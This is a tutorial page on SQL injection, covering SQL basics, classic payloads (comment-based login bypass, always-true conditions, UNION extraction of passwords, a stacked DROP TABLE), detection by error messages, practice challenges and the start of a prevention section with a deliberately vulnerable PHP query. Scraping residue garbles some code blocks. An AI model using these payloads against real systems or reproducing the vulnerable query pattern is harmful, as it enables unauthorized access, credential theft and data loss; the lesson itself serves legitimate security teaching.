Learn the basics of SQL injection attacks and how to identify vulnerable applications
Learning Objectives
Understand what SQL injection is and why it occurs
Identify SQL injection vulnerabilities
Perform basic SQL injection attacks
Understand the impact of SQL injection
The Most Dangerous Website Vulnerability
Imagine you walk into a library and ask the librarian for "all books by Stephen King." Now imagine if, instead, you asked for "all books by Stephen King, and also give me the building's master key and the combination to the safe." A normal librarian would throw you out. But some library systems might just... do it.
That's SQL injection in a nutshell. It's a vulnerability where an attacker can add their own database commands to a query, and the database just... executes them. No questions asked.
SQL injection has been in the OWASP Top 10 since the beginning. It's caused some of the biggest data breaches in history. In 2008, SQL injection was used to steal 130 million credit card numbers from Heartland Payment Systems. In 2011, it was used to breach Sony and expose 77 million user accounts. It's old, it's well-documented, and it's still everywhere.
SQL injection can completely compromise a database - reading, modifying, or deleting all data. In some cases, it can lead to full server compromise. Only test on systems you own or have explicit authorization to test.
First Things First: What is SQL?
SQL (Structured Query Language) is the language used to talk to databases. If a database is like a super-powered Excel spreadsheet, SQL is how you ask it questions and tell it what to do.
sql
1-- Imagine a table called 606070;">#a5d6ff;">"users" that looks like this:
2-- +----+----------+-----------+----------+
3-- | id | username | password | role |
4-- +----+----------+-----------+----------+
5-- | 1 | admin | s3cr3t | admin |
6-- | 2 | alice | pass123 | user |
7-- | 3 | bob | hunter2 | user |
8-- +----+----------+-----------+----------+
9
10-- To get all users:
11SELECT * FROM users;
12
13-- To get just one user by username:
14SELECT * FROM users WHERE username = 606070;">#a5d6ff;">'alice';
15
16-- To get admin users:
17SELECT * FROM users WHERE role = 606070;">#a5d6ff;">'admin';
The SELECT statement asks for data. The WHEREclause filters the results. This is the basic pattern you'll see in login forms, search boxes, and anywhere a website needs to look something up.
How SQL Injection Actually Works
The vulnerability happens when user input is directly inserted into a SQL query without proper handling. Let's look at a typical login system:
See how the username and password are just slapped directly into the query? The application trusts that users will enter normal input like "alice" and "password123". But what if someone enters something... creative?
The Classic Attack
What if the username is: admin' --
sql
1-- The query becomes:
2SELECT * FROM users WHERE username = 606070;">#a5d6ff;">'admin' --' AND password = 'anything'
3
4-- Let's break this down:
5-- 606070;">#a5d6ff;">'admin' - We're searching for username 'admin'
6-- -- - In SQL, this starts a comment!
7-- ' AND password... - This is now commented out, completely ignored!
8
9-- So the actual query executed is:
10SELECT * FROM users WHERE username = 606070;">#a5d6ff;">'admin'
11
12-- No password check! We're logged in as admin!
The -- is a SQL comment. Everything after it is ignored. So by injecting ' --, we closed the username string, added a comment, and completely bypassed the password check.
Use responsibly
admin' --
Some databases use different comment styles. MySQL uses --(with a space after) or #. PostgreSQL and SQL Server use--. Oracle uses -- as well. If one doesn't work, try another!
Essential SQL Injection Payloads
Let's look at different ways to exploit SQL injection vulnerabilities.
1. The "Always True" Payload
What if we make the WHERE clause always evaluate to true?
Use responsibly
' OR '1'='1
sql
1-- Original query:
2SELECT * FROM users WHERE username = 606070;">#a5d6ff;">'alice'AND password = 'secret'
3
4-- With our payload as the password:
5SELECT * FROM users WHERE username = 606070;">#a5d6ff;">'alice'AND password = ''OR'1'='1'
12-- This returns ALL users! We might get logged in as the first user in the database
13-- (often the admin).
2. UNION-Based Injection
What if we want to extract data from other tables? The UNION operator combines results from multiple queries:
Use responsibly
' UNION SELECT username, password FROM users --
sql
1-- Original query (searching for products):
2SELECT name, price FROM products WHERE category = 606070;">#a5d6ff;">'Electronics'
3
4-- With our injection:
5SELECT name, price FROM products WHERE category = 606070;">#a5d6ff;">''
6UNIONSELECT username, password FROM users --'
7
8-- The result now includes:
9-- 1. Products in category 606070;">#a5d6ff;">'' (none, probably)
10-- 2. All usernames and passwords from the users table!
UNION requires both queries to have the same number of columns. If the first query selects 3 columns, your UNION must also select 3 columns. We'll cover this technique in depth in the UNION injection lesson.
Some databases allow multiple queries separated by semicolons. This is the most dangerous form:
Use responsibly
'; DROP TABLE users; --
sql
1-- Original query:
2SELECT * FROM users WHERE username = 606070;">#a5d6ff;">'alice'
3
4-- With our malicious input:
5SELECT * FROM users WHERE username = 606070;">#a5d6ff;">''; DROPTABLE users; --'
6
7-- This executes TWO queries:
8-- 1. SELECT * FROM users WHERE username = 606070;">#a5d6ff;">'' (harmless)
9-- 2. DROPTABLE users (deletes the entire users table!)
10
11-- This is sometimes called 606070;">#a5d6ff;">"Bobby Tables" after a famous XKCD comic.
Stacked queries don't work everywhere. PHP with MySQL doesn't allow them by default. But they work in SQL Server, PostgreSQL with certain drivers, and other configurations. Always test!
Detecting SQL Injection Vulnerabilities
Before you can exploit SQL injection, you need to find it. Here's how to test for vulnerabilities:
Testing for SQL Injection
1
Find Input PointsIdentify anywhere user input is sent to the server: login forms, search boxes, URL parameters, cookies, headers, etc.
2
Submit a Single QuoteEnter ' and submit. If you get a database error, you've likely found SQL injection!
3
Look for ErrorsDatabase errors are your friend. They often reveal:
The database type (MySQL, PostgreSQL, Oracle, etc.)
The query structure
Table and column names
4
Try Boolean LogicIf there's no visible error, try payloads that change the logic:
' OR '1'='1 - Should return more results
' AND '1'='2 - Should return no results
If the response differs, that's a sign of SQL injection!
Common Error Messages
1606070;"># MySQL
2You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
3
4606070;"># PostgreSQL
5ERROR: syntax error at or near 606070;">#a5d6ff;">"'"
6
7606070;"># Oracle
8ORA-00933: SQL command not properly ended
9
10606070;"># SQL Server
11Unclosed quotation mark after the character string
12
13606070;"># If you see any of these, SQL injection is likely possible!
Not all SQL injection produces visible errors. If errors are hidden or custom error pages are used, you'll need to use "blind" techniques where you infer the result based on the application's behavior.
Below is a vulnerable login query. Your goal is to modify the username
input to bypass the password check and log in as 'admin'.
The original query is:
SELECT * FROM users WHERE username = '[INPUT]' AND password = 'wrongpassword'
Your input replaces [INPUT]. Can you construct a payload that makes this query
return the admin user, regardless of the password?
Hint: You need to close the string, add a comment, and make sure the syntax is valid.
Challenges: Test Your Skills
Login Bypass
Challenge
🌱 easy
You've found a login form that's vulnerable to SQL injection. The backend query is:
SELECT * FROM users WHERE username = '[username]' AND password = '[password]'
Your mission: Log in as the user "administrator" without knowing the password.
Assume you can only input in the username field (the password field is ignored due to frontend validation).
Need a hint? (3 available)
Data Extraction
Challenge
🔥 medium
A product search page is vulnerable to SQL injection. The query looks like:
SELECT name, price FROM products WHERE category = '[search]'
The page displays the name and price of matching products. You want to extract the admin's password from a table called 'users' with columns 'username' and 'password'.
Write a payload that would display the admin's credentials instead of products.
Need a hint? (4 available)
Blind Detection
Challenge
💀 hard
A website has a search function, but it doesn't show database errors. When you search for "test", you get results. When you search for "xyznonexistent", you get "No results found".
Using boolean-based blind SQL injection, how would you confirm the vulnerability exists?
Describe two payloads: one that should return results, and one that should return "No results".
Need a hint? (4 available)
How to Prevent SQL Injection
SQL injection is completely preventable. The solution has been known for decades: never put user input directly into SQL queries.
Parameterized Queries (Prepared Statements)
The right way to write database queries. User input is sent separately from the SQL command:
php
1606070;">// VULNERABLE (string concatenation)
2$query = 606070;">#a5d6ff;">"SELECT * FROM users WHERE username = '$username' AND password = '$password'";
3$result = mysqli_query($connection, $query);
4
5606070;">// SAFE (parameterized query)
6$stmt = $connection->prepare(606070;">#a5d6ff;">"SELECT * FROM users WHERE username = ? AND password = ?");